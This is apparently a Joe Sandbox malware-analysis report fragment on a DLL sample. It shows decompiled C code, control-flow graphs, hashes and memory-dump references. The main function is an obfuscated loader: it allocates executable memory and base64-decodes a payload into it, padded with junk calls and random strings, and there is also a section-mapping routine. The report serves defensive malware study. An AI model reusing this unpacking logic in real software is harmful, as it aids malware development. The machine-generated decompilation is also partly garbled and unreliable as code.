				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}







                    0x00e5206d
                    0x00e52073
                    0x00e52081
                    0x00e52088
                    0x00e5208d
                    0x00e52093
                    0x00000000
                    0x00e52094
                    0x00000000

                    APIs
                    • NtMapViewOfSection.NTDLL(00000000,000000FF,00E51EE8,00000000,00000000,?,?,00000002,00000000,?,?,00000000,?,00E51EE8,?), ref: 00E52088
                    Memory Dump Source
                    • Source File: 00000000.00000002.637417203.0000000000E50000.00000040.00001000.00020000.00000000.sdmp, Offset: 00E50000, based on PE: true
                    • Associated: 00000000.00000002.637417203.0000000000E55000.00000040.00001000.00020000.00000000.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_e50000_loaddll32.jbxd
                    Similarity
                    • API ID: SectionView
                    • String ID:
                    • API String ID: 1323581903-0
                    • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction ID: 840ad829ca39a9d452d58b6d50f1ec2c89d8e11f4bfe96cf1df890fc88116c8c
                    • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                    • Instruction Fuzzy Hash: 08F012B690020CBFDB119FA5CC85CAFBBBDEB44395B104D39B652E2090D6309E089A60
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00AE00A5 Relevance: 1.5, Strings: 1, Instructions: 240COMMON
                    Download Yara Rule
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637350718.0000000000AE0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00AE0000, based on PE: false
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_ae0000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID: t32c
                    • API String ID: 0-3674199949
                    • Opcode ID: 0ce04f3042623020b56d8d6333c6edc950fc57a30ec96843c2f35d8763c87f63
                    • Instruction ID: 4805ab9c5770e74b4aac6cf00b2497b5ff136b68bba8ad3462199aa027e6cbf4
                    • Opcode Fuzzy Hash: 0ce04f3042623020b56d8d6333c6edc950fc57a30ec96843c2f35d8763c87f63
                    • Instruction Fuzzy Hash: 9A914636A00259EFDB20DB95DD80EAEFBB6FF88310F248195E61867261D7706E81DF10
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB73B50 Relevance: 82.7, APIs: 43, Strings: 4, Instructions: 490memoryCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 166 6cb73b50-6cb73c78 call 6cb72520 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 VirtualAlloc GetCommandLineA call 6cb72490 188 6cb73c7d-6cb73c9a call 6cb73770 call 6cb72730 166->188 192 6cb73c9f-6cb73cb2 188->192 193 6cb73fec-6cb73ff0 192->193 194 6cb73cb8-6cb73cc4 192->194 196 6cb742a6-6cb742d5 call 6cb72750 193->196 197 6cb73ff6-6cb73ffd 193->197 194->193 195 6cb73cca-6cb73cde call 6cb74480 194->195 195->193 206 6cb73ce4-6cb73da3 call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 195->206 199 6cb74008-6cb7400e 197->199 202 6cb74031-6cb7426e GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 199->202 203 6cb74010-6cb7402f call 6cb74450 199->203 331 6cb74279-6cb74282 202->331 203->199 247 6cb73fdf-6cb73fe7 call 6cb73420 206->247 248 6cb73da9-6cb73db0 206->248 247->192 251 6cb73dbb-6cb73dbf 248->251 254 6cb73e16-6cb73fad GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 call 6cb72490 call 6cb73770 call 6cb72730 251->254 255 6cb73dc1-6cb73e14 GetCommandLineA call 6cb72490 call 6cb73770 call 6cb72730 call 6cb74450 251->255 325 6cb73fb8-6cb73fbc 254->325 255->251 327 6cb73fbe-6cb73fd6 325->327 328 6cb73fd8 325->328 327->325 328->247 332 6cb74284-6cb7429c 331->332 333 6cb7429e-6cb742a1 call 6cb73420 331->333 332->331 333->196
                    C-Code - Quality: 96%
                    			E6CB73B50(intOrPtr __ecx, void* __eflags, intOrPtr _a4, signed int* _a8) {
				void* _v8;
				intOrPtr _v16;
				void* _v20;
				void* _v28;
				char _v44;
				void* _v48;
				void* _v52;
				signed int _v56;
				intOrPtr _v60;
				void* _v64;
				long _v68;
				long _v72;
				signed int _v76;
				void* _v80;
				char _v104;
				char _v128;
				char _v152;
				char _v176;
				char _v200;
				char _v224;
				char _v248;
				char _v272;
				char _v296;
				char _v320;
				char _v344;
				char _v368;
				char _v392;
				char _v416;
				char _v440;
				char _v464;
				char _v488;
				char _v512;
				char _v536;
				char _v560;
				char _v584;
				char _v608;
				void _v676;
				void* __edi;
				void* _t282;
				void* _t349;
				void* _t470;
				void* _t475;
				void* _t573;
				void* _t576;
				void* _t582;
				void* _t584;
				intOrPtr _t585;
				void* _t588;

				_t588 = __eflags;
				_push(0xffffffff);
				_push(0x6cb98b49);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t585;
				_push(_t576);
				_v60 = __ecx;
				E6CB72520( &_v44);
				_v8 = 0;
				E6CB72490( &_v104, _t576, _t588, GetCommandLineA());
				_v8 = 1;
				E6CB73770( &_v44, _t576,  &_v104);
				_v8 = 0;
				E6CB72730( &_v104);
				E6CB72490( &_v128, _t576, _t588, GetCommandLineA());
				_v8 = 2;
				E6CB73770( &_v44, _t576,  &_v128);
				_v8 = 0;
				E6CB72730( &_v128);
				_v48 = 0;
				_v56 =  *_a8;
				_v20 = 0;
				_v28 = 0;
				_v52 = 0;
				_t582 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";
				memcpy( &_v676, _t582, 0x10 << 2);
				_t579 = _t582 + 0x20;
				asm("movsb");
				E6CB72490( &_v152, _t582 + 0x20, _t588, GetCommandLineA());
				_v8 = 3;
				E6CB73770( &_v44, _t582 + 0x20,  &_v152);
				_v8 = 0;
				E6CB72730( &_v152);
				_v72 = 0x3000;
				_v68 = 0x40;
				_t282 = VirtualAlloc(0,  *_a8 * 3, _v72, _v68); // executed
				_v64 = _t282;
				E6CB72490( &_v176, _t582 + 0x20,  *_a8 * 3, GetCommandLineA());
				_v8 = 4;
				E6CB73770( &_v44, _t582 + 0x20,  &_v176);
				_v8 = 0;
				E6CB72730( &_v176);
				while(1) {
					_v76 = _v56;
					_v56 = _v56 - 1;
					if(_v76 == 0) {
						break;
					}
					_t591 = ( *(_a4 + _v52) & 0x000000ff) - 0x3d;
					if(( *(_a4 + _v52) & 0x000000ff) != 0x3d) {
						_t349 = E6CB74480(_v60, _t591,  *(_a4 + _v52) & 0x000000ff);
						_t592 = _t349;
						if(_t349 != 0) {
							E6CB72490( &_v200, _t579, _t592, "fbdfbfdgfdbdf");
							_v8 = 5;
							E6CB73770( &_v44, _t579,  &_v200);
							_v8 = 0;
							E6CB72730( &_v200);
							E6CB72490( &_v224, _t579, _t592, GetCommandLineA());
							_v8 = 6;
							E6CB73770( &_v44, _t579,  &_v224);
							_v8 = 0;
							E6CB72730( &_v224);
							E6CB72490( &_v248, _t579, _t592, GetCommandLineA());
							_v8 = 7;
							E6CB73770( &_v44, _t579,  &_v248);
							_v8 = 0;
							E6CB72730( &_v248);
							 *(_t584 + _v20 - 0x14) =  *(_a4 + _v52);
							_v20 = _v20 + 1;
							_v52 = _v52 + 1;
							if(_v20 == 4) {
								_v20 = 0;
								while(1) {
									_t594 = _v20 - 4;
									if(_v20 >= 4) {
										break;
									}
									E6CB72490( &_v272, _t579, _t594, GetCommandLineA());
									_v8 = 8;
									E6CB73770( &_v44, _t579,  &_v272);
									_v8 = 0;
									E6CB72730( &_v272);
									 *(_t584 + _v20 - 0x14) = E6CB74450(_v60,  &_v676,  *(_t584 + _v20 - 0x14) & 0x000000ff);
									_v20 = _v20 + 1;
								}
								E6CB72490( &_v296, _t579, __eflags, GetCommandLineA());
								_v8 = 9;
								E6CB73770( &_v44, _t579,  &_v296);
								_v8 = 0;
								E6CB72730( &_v296);
								 *((char*)(_t584 + 0xffffffffffffffe4)) = (( *(_t584 + 0xbadb99) & 0x30) >> 4) + ( *(_t584 + 0xffffffffffffffec) & 0x000000ff) * 4;
								E6CB72490( &_v320, _t579, __eflags, GetCommandLineA());
								_v8 = 0xa;
								E6CB73770( &_v44, _t579,  &_v320);
								_v8 = 0;
								E6CB72730( &_v320);
								 *((char*)(_t584 + 0xbadb91)) = (( *(_t584 + 0xbadb99) & 0xf) << 4) + (( *(_t584 + 0xbadb99) & 0x3c) >> 2);
								E6CB72490( &_v344, _t579, __eflags, GetCommandLineA());
								_v8 = 0xb;
								E6CB73770( &_v44, _t579,  &_v344);
								_v8 = 0;
								E6CB72730( &_v344);
								 *((char*)(_t584 + 0xbadb91)) = (( *(_t584 + 0xbadb99) & 3) << 6) + ( *(_t584 + 0xffffffffffffffef) & 0x000000ff);
								E6CB72490( &_v368, _t579, __eflags, GetCommandLineA());
								_v8 = 0xc;
								E6CB73770( &_v44, _t579,  &_v368);
								_v8 = 0;
								E6CB72730( &_v368);
								E6CB72490( &_v392, _t579, __eflags, "fbdfbfdgfdbdf");
								_v8 = 0xd;
								E6CB73770( &_v44, _t579,  &_v392);
								_v8 = 0;
								E6CB72730( &_v392);
								_v20 = 0;
								while(1) {
									__eflags = _v20 - 3;
									if(_v20 >= 3) {
										break;
									}
									 *((char*)(_v64 + _v48)) =  *((intOrPtr*)(_t584 + _v20 - 0x1c));
									_v48 = _v48 + 1;
									_t573 = _v20 + 1;
									__eflags = _t573;
									_v20 = _t573;
								}
								_v20 = 0;
							}
							E6CB73420( &_v44);
							continue;
						}
					}
					break;
				}
				__eflags = _v20;
				if(_v20 != 0) {
					_v28 = 0;
					while(1) {
						__eflags = _v28 - _v20;
						if(__eflags >= 0) {
							break;
						}
						 *(_t584 + _v28 - 0x14) = E6CB74450(_v60,  &_v676,  *(_t584 + _v28 - 0x14) & 0x000000ff);
						_t475 = _v28 + 1;
						__eflags = _t475;
						_v28 = _t475;
					}
					 *((char*)(_t584 + 0xffffffffffffffe4)) = (( *(_t584 + 0xbadb99) & 0x30) >> 4) + ( *(_t584 + 0xffffffffffffffec) & 0x000000ff) * 4;
					E6CB72490( &_v416, _t579, __eflags, GetCommandLineA());
					_v8 = 0xe;
					E6CB73770( &_v44, _t579,  &_v416);
					_v8 = 0;
					E6CB72730( &_v416);
					E6CB72490( &_v440, _t579, __eflags, GetCommandLineA());
					_v8 = 0xf;
					E6CB73770( &_v44, _t579,  &_v440);
					_v8 = 0;
					E6CB72730( &_v440);
					E6CB72490( &_v464, _t579, __eflags, GetCommandLineA());
					_v8 = 0x10;
					E6CB73770( &_v44, _t579,  &_v464);
					_v8 = 0;
					E6CB72730( &_v464);
					E6CB72490( &_v488, _t579, __eflags, GetCommandLineA());
					_v8 = 0x11;
					E6CB73770( &_v44, _t579,  &_v488);
					_v8 = 0;
					E6CB72730( &_v488);
					 *((char*)(_t584 + 0xbadb91)) = (( *(_t584 + 0xbadb99) & 0xf) << 4) + (( *(_t584 + 0xbadb99) & 0x3c) >> 2);
					E6CB72490( &_v512, _t579, __eflags, GetCommandLineA());
					_v8 = 0x12;
					E6CB73770( &_v44, _t579,  &_v512);
					_v8 = 0;
					E6CB72730( &_v512);
					E6CB72490( &_v536, _t579, __eflags, GetCommandLineA());
					_v8 = 0x13;
					E6CB73770( &_v44, _t579,  &_v536);
					_v8 = 0;
					E6CB72730( &_v536);
					E6CB72490( &_v560, _t579, __eflags, GetCommandLineA());
					_v8 = 0x14;
					E6CB73770( &_v44, _t579,  &_v560);
					_v8 = 0;
					E6CB72730( &_v560);
					E6CB72490( &_v584, _t579, __eflags, GetCommandLineA());
					_v8 = 0x15;
					E6CB73770( &_v44, _t579,  &_v584);
					_v8 = 0;
					E6CB72730( &_v584);
					E6CB72490( &_v608, _t579, __eflags, GetCommandLineA());
					_v8 = 0x16;
					E6CB73770( &_v44, _t579,  &_v608);
					_v8 = 0;
					E6CB72730( &_v608);
					_v28 = 0;
					while(1) {
						__eflags = _v28 - _v20 - 1;
						if(_v28 >= _v20 - 1) {
							break;
						}
						 *((char*)(_v64 + _v48)) =  *((intOrPtr*)(_t584 + _v28 - 0x1c));
						_v48 = _v48 + 1;
						_t470 = _v28 + 1;
						__eflags = _t470;
						_v28 = _t470;
					}
					E6CB73420( &_v44);
				}
				 *_a8 = _v48;
				_v80 = _v64;
				_v8 = 0xffffffff;
				E6CB72750( &_v44);
				 *[fs:0x0] = _v16;
				return _v80;
			}



















































                    0x6cb73b50
                    0x6cb73b53
                    0x6cb73b55
                    0x6cb73b60
                    0x6cb73b61
                    0x6cb73b6f
                    0x6cb73b70
                    0x6cb73b76
                    0x6cb73b7b
                    0x6cb73b8c
                    0x6cb73b91
                    0x6cb73b9c
                    0x6cb73ba1
                    0x6cb73ba8
                    0x6cb73bb7
                    0x6cb73bbc
                    0x6cb73bc7
                    0x6cb73bcc
                    0x6cb73bd3
                    0x6cb73bd8
                    0x6cb73be4
                    0x6cb73be7
                    0x6cb73bee
                    0x6cb73bf5
                    0x6cb73c01
                    0x6cb73c0c
                    0x6cb73c0c
                    0x6cb73c0e
                    0x6cb73c1c
                    0x6cb73c21
                    0x6cb73c2f
                    0x6cb73c34
                    0x6cb73c3e
                    0x6cb73c43
                    0x6cb73c4a
                    0x6cb73c62
                    0x6cb73c68
                    0x6cb73c78
                    0x6cb73c7d
                    0x6cb73c8b
                    0x6cb73c90
                    0x6cb73c9a
                    0x6cb73c9f
                    0x6cb73ca2
                    0x6cb73cab
                    0x6cb73cb2
                    0x00000000
                    0x00000000
                    0x6cb73cc1
                    0x6cb73cc4
                    0x6cb73cd7
                    0x6cb73cdc
                    0x6cb73cde
                    0x6cb73cef
                    0x6cb73cf4
                    0x6cb73d02
                    0x6cb73d07
                    0x6cb73d11
                    0x6cb73d23
                    0x6cb73d28
                    0x6cb73d36
                    0x6cb73d3b
                    0x6cb73d45
                    0x6cb73d57
                    0x6cb73d5c
                    0x6cb73d6a
                    0x6cb73d6f
                    0x6cb73d79
                    0x6cb73d89
                    0x6cb73d93
                    0x6cb73d9c
                    0x6cb73da3
                    0x6cb73da9
                    0x6cb73dbb
                    0x6cb73dbb
                    0x6cb73dbf
                    0x00000000
                    0x00000000
                    0x6cb73dce
                    0x6cb73dd3
                    0x6cb73de1
                    0x6cb73de6
                    0x6cb73df0
                    0x6cb73e10
                    0x6cb73db8
                    0x6cb73db8
                    0x6cb73e23
                    0x6cb73e28
                    0x6cb73e36
                    0x6cb73e3b
                    0x6cb73e45
                    0x6cb73e75
                    0x6cb73e86
                    0x6cb73e8b
                    0x6cb73e99
                    0x6cb73e9e
                    0x6cb73ea8
                    0x6cb73edc
                    0x6cb73eed
                    0x6cb73ef2
                    0x6cb73f00
                    0x6cb73f05
                    0x6cb73f0f
                    0x6cb73f3c
                    0x6cb73f4d
                    0x6cb73f52
                    0x6cb73f60
                    0x6cb73f65
                    0x6cb73f6f
                    0x6cb73f7f
                    0x6cb73f84
                    0x6cb73f92
                    0x6cb73f97
                    0x6cb73fa1
                    0x6cb73fa6
                    0x6cb73fb8
                    0x6cb73fb8
                    0x6cb73fbc
                    0x00000000
                    0x00000000
                    0x6cb73fcb
                    0x6cb73fd3
                    0x6cb73fb2
                    0x6cb73fb2
                    0x6cb73fb5
                    0x6cb73fb5
                    0x6cb73fd8
                    0x6cb73fd8
                    0x6cb73fe2
                    0x00000000
                    0x6cb73fe2
                    0x6cb73cde
                    0x00000000
                    0x6cb73cc4
                    0x6cb73fec
                    0x6cb73ff0
                    0x6cb73ff6
                    0x6cb74008
                    0x6cb7400b
                    0x6cb7400e
                    0x00000000
                    0x00000000
                    0x6cb7402b
                    0x6cb74002
                    0x6cb74002
                    0x6cb74005
                    0x6cb74005
                    0x6cb7405c
                    0x6cb7406d
                    0x6cb74072
                    0x6cb74080
                    0x6cb74085
                    0x6cb7408f
                    0x6cb740a1
                    0x6cb740a6
                    0x6cb740b4
                    0x6cb740b9
                    0x6cb740c3
                    0x6cb740d5
                    0x6cb740da
                    0x6cb740e8
                    0x6cb740ed
                    0x6cb740f7
                    0x6cb74109
                    0x6cb7410e
                    0x6cb7411c
                    0x6cb74121
                    0x6cb7412b
                    0x6cb7415f
                    0x6cb74170
                    0x6cb74175
                    0x6cb74183
                    0x6cb74188
                    0x6cb74192
                    0x6cb741a4
                    0x6cb741a9
                    0x6cb741b7
                    0x6cb741bc
                    0x6cb741c6
                    0x6cb741d8
                    0x6cb741dd
                    0x6cb741eb
                    0x6cb741f0
                    0x6cb741fa
                    0x6cb7420c
                    0x6cb74211
                    0x6cb7421f
                    0x6cb74224
                    0x6cb7422e
                    0x6cb74240
                    0x6cb74245
                    0x6cb74253
                    0x6cb74258
                    0x6cb74262
                    0x6cb74267
                    0x6cb74279
                    0x6cb7427f
                    0x6cb74282
                    0x00000000
                    0x00000000
                    0x6cb74291
                    0x6cb74299
                    0x6cb74273
                    0x6cb74273
                    0x6cb74276
                    0x6cb74276
                    0x6cb742a1
                    0x6cb742a1
                    0x6cb742ac
                    0x6cb742b1
                    0x6cb742b4
                    0x6cb742be
                    0x6cb742c9
                    0x6cb742d5

                    APIs
                    Strings
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID: task$CommandLine$AllocVirtual
                    • String ID: @$ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/$fbdfbfdgfdbdf$fbdfbfdgfdbdf
                    • API String ID: 620036164-1458564314
                    • Opcode ID: 207a8c6241574f030b5beeaeddc902785c355e3b8a821648d1166428e7c62b2f
                    • Instruction ID: 74624ea348d7bc001e3d2be790d3e286579ee8dfc843327c14903a03c807e48a
                    • Opcode Fuzzy Hash: 207a8c6241574f030b5beeaeddc902785c355e3b8a821648d1166428e7c62b2f
                    • Instruction Fuzzy Hash: F532A071D00198DBDB15CFA4C998BEEBB74EF25308F1480A9D96267681DB345B48CFB2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 6CB861BB Relevance: 41.3, APIs: 19, Strings: 4, Instructions: 1096COMMON
                    Download Yara Rule

                    Control-flow Graph

                    • Executed
                    • Not Executed
                    control_flow_graph 336 6cb861bb-6cb8680e call 6cb744f0 * 11 440 6cb86859-6cb86906 call 6cb825a0 call 6cb75570 call 6cb75040 * 2 call 6cb73a70 call 6cb75040 call 6cb87610 336->440 441 6cb86810-6cb86829 call 6cb73a70 336->441 466 6cb86a49-6cb86ab1 call 6cb8f420 call 6cb75570 call 6cb79e80 440->466 467 6cb8690c-6cb86a44 call 6cb79db0 call 6cb75eb0 call 6cb74cd0 call 6cb75080 call 6cb74e30 call 6cb79db0 call 6cb75eb0 call 6cb74cd0 call 6cb75080 call 6cb74e30 call 6cb72730 * 2 440->467 447 6cb86834-6cb86841 call 6cb87610 441->447 447->440 452 6cb86843-6cb86857 call 6cb79ec0 447->452 452->447 480 6cb872c4-6cb872e4 call 6cb75040 call 6cb73420 466->480 481 6cb86ab7-6cb86ac6 call 6cb737a0 466->481 499 6cb872ef-6cb872fd call 6cb87610 480->499 489 6cb86acc-6cb86adc call 6cb737a0 481->489 490 6cb871c7-6cb871ce 481->490 501 6cb86fb2-6cb86fb9 489->501 502 6cb86ae2-6cb86b05 call 6cb75f10 call 6cb744f0 489->502 496 6cb871d9-6cb871e7 call 6cb87610 490->496 506 6cb872ad-6cb872bf call 6cb75f10 call 6cb87690 496->506 507 6cb871ed-6cb872a8 call 6cb79db0 call 6cb75eb0 call 6cb74cd0 call 6cb75080 call 6cb74e30 call 6cb72490 call 6cb72730 * 2 496->507 517 6cb872ff-6cb87314 call 6cb79f00 499->517 518 6cb87316-6cb8731d 499->518 510 6cb86fc4-6cb86fcf call 6cb87610 501->510 539 6cb86b13 502->539 540 6cb86b07-6cb86b11 502->540 506->480 507->496 526 6cb86fd5-6cb870b1 call 6cb79db0 call 6cb75eb0 call 6cb74cd0 call 6cb75080 call 6cb74e30 call 6cb72490 * 2 call 6cb72730 * 3 510->526 527 6cb870b6-6cb870ce call 6cb73a70 510->527 517->499 520 6cb87328-6cb87336 call 6cb87610 518->520 545 6cb87338-6cb8734d call 6cb79ec0 520->545 546 6cb8734f-6cb87429 call 6cb75f10 call 6cb78e10 call 6cb87640 call 6cb79e20 call 6cb72730 * 2 call 6cb737a0 520->546 526->510 555 6cb870d9-6cb870e7 call 6cb87610 527->555 548 6cb86b1d-6cb86b2b 539->548 540->548 545->520 637 6cb8742f-6cb87447 call 6cb73a70 546->637 638 6cb87534-6cb87605 call 6cb75040 call 6cb72420 call 6cb72750 * 4 call 6cb72730 * 6 546->638 549 6cb86b39 548->549 550 6cb86b2d-6cb86b37 548->550 557 6cb86b43-6cb86b5a call 6cb744f0 549->557 550->557 575 6cb870e9-6cb87104 call 6cb72490 call 6cb72730 555->575 576 6cb87106-6cb8713a call 6cb78e10 555->576 579 6cb86b68 557->579 580 6cb86b5c-6cb86b66 557->580 575->555 586 6cb8713f-6cb871c2 call 6cb87640 call 6cb79e20 call 6cb72730 * 2 576->586 587 6cb86b72-6cb86b7e 579->587 580->587 586->490 594 6cb86b8c 587->594 595 6cb86b80-6cb86b8a 587->595 602 6cb86b96-6cb86bb1 call 6cb744f0 594->602 595->602 619 6cb86bbf 602->619 620 6cb86bb3-6cb86bbd 602->620 625 6cb86bc9-6cb86bd5 619->625 620->625 627 6cb86be3 625->627 628 6cb86bd7-6cb86be1 625->628 633 6cb86bed-6cb86c04 call 6cb744f0 627->633 628->633 645 6cb86c12 633->645 646 6cb86c06-6cb86c10 633->646 651 6cb87452-6cb87460 call 6cb87610 637->651 650 6cb86c1c-6cb86c28 645->650 646->650 654 6cb86c2a-6cb86c34 650->654 655 6cb86c36 650->655 662 6cb87503-6cb8751e call 6cb80a70 651->662 663 6cb87466-6cb874fe call 6cb79db0 call 6cb75eb0 call 6cb74cd0 call 6cb75080 call 6cb74e30 call 6cb72730 651->663 658 6cb86c40-6cb86c5b call 6cb744f0 654->658 655->658 670 6cb86c69 658->670 671 6cb86c5d-6cb86c67 658->671 672 6cb87523-6cb87531 662->672 663->651 675 6cb86c73-6cb86c7f 670->675 671->675 672->638 676 6cb86c8d 675->676 677 6cb86c81-6cb86c8b 675->677 680 6cb86c97-6cb86ca8 676->680 677->680 683 6cb86caa-6cb86cb4 680->683 684 6cb86cb6 680->684 687 6cb86cc0-6cb86cd7 call 6cb744f0 683->687 684->687 696 6cb86cd9-6cb86ce3 687->696 697 6cb86ce5 687->697 701 6cb86cef-6cb86cfb 696->701 697->701 704 6cb86d09 701->704 705 6cb86cfd-6cb86d07 701->705 708 6cb86d13-6cb86d2e call 6cb744f0 704->708 705->708 714 6cb86d3c 708->714 715 6cb86d30-6cb86d3a 708->715 717 6cb86d46-6cb86d52 714->717 715->717 719 6cb86d60 717->719 720 6cb86d54-6cb86d5e 717->720 722 6cb86d6a-6cb86d85 call 6cb744f0 719->722 720->722 725 6cb86d93 722->725 726 6cb86d87-6cb86d91 722->726 727 6cb86d9d-6cb86da9 725->727 726->727 728 6cb86dab-6cb86db5 727->728 729 6cb86db7 727->729 730 6cb86dc1-6cb86dcd 728->730 729->730 731 6cb86ddb 730->731 732 6cb86dcf-6cb86dd9 730->732 733 6cb86de5-6cb86dfe call 6cb744f0 731->733 732->733 736 6cb86e0c 733->736 737 6cb86e00-6cb86e0a 733->737 738 6cb86e16-6cb86e25 736->738 737->738 739 6cb86e33 738->739 740 6cb86e27-6cb86e31 738->740 741 6cb86e3d-6cb86e56 call 6cb744f0 739->741 740->741 744 6cb86e58-6cb86e62 741->744 745 6cb86e64 741->745 746 6cb86e6e-6cb86e7a 744->746 745->746 747 6cb86e88 746->747 748 6cb86e7c-6cb86e86 746->748 749 6cb86e92-6cb86e9e 747->749 748->749 750 6cb86eac 749->750 751 6cb86ea0-6cb86eaa 749->751 752 6cb86eb6-6cb86ecf call 6cb744f0 750->752 751->752 755 6cb86edd 752->755 756 6cb86ed1-6cb86edb 752->756 757 6cb86ee7-6cb86ef6 755->757 756->757 758 6cb86ef8-6cb86f02 757->758 759 6cb86f04 757->759 760 6cb86f0e-6cb86f1a 758->760 759->760 761 6cb86f28 760->761 762 6cb86f1c-6cb86f26 760->762 763 6cb86f32-6cb86f4b call 6cb744f0 761->763 762->763 766 6cb86f59 763->766 767 6cb86f4d-6cb86f57 763->767 768 6cb86f63-6cb86f74 766->768 767->768 769 6cb86f82 768->769 770 6cb86f76-6cb86f80 768->770 771 6cb86f8c-6cb86f98 769->771 770->771 772 6cb86fa8-6cb86fad call 6cb73420 771->772 773 6cb86f9a-6cb86fa3 call 6cb75040 771->773 772->501 773->772
                    Strings
                    • sgCjqZdJcQl, xrefs: 6CB87078
                    • raragZeFMLcyQsXHFLCTkstwZjPk, xrefs: 6CB87064
                    • sOwyZdiVhLcOasyyblzumHijBVRYwjyB, xrefs: 6CB870E9
                    • OXUgGEeVBZGtTWlJEtjMbnFt, xrefs: 6CB8727E
                    Memory Dump Source
                    • Source File: 00000000.00000002.637921460.000000006CB71000.00000020.00000001.01000000.00000003.sdmp, Offset: 6CB70000, based on PE: true
                    • Associated: 00000000.00000002.637911452.000000006CB70000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.637984146.000000006CB9A000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638005766.000000006CBA4000.00000004.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBB3000.00000002.00000001.01000000.00000003.sdmpDownload File
                    • Associated: 00000000.00000002.638024721.000000006CBF5000.00000002.00000001.01000000.00000003.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_0_2_6cb70000_loaddll32.jbxd
                    Similarity
                    • API ID:
                    • String ID: OXUgGEeVBZGtTWlJEtjMbnFt$raragZeFMLcyQsXHFLCTkstwZjPk$sOwyZdiVhLcOasyyblzumHijBVRYwjyB$sgCjqZdJcQl
                    • API String ID: 0-1667958176
                    • Opcode ID: a32f58cc9305ffbf6d3b3dd358cce8979660af159ebb77b70a84f7e93d3abd6f
                    • Instruction ID: d0a4fd1766166d975027d61431641a382b2cdd989d18384c750959fcb342ffd4
                    • Opcode Fuzzy Hash: a32f58cc9305ffbf6d3b3dd358cce8979660af159ebb77b70a84f7e93d3abd6f
                    • Instruction Fuzzy Hash: 27B24570D152A8CBDF24CF54CC94BEEB7B5BB55308F1441D9D409ABA80DB749A88CFA2
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 027C3CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                    Download Yara Rule

                    Control-flow Graph

                    C-Code - Quality: 69%
                    			E027C3CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
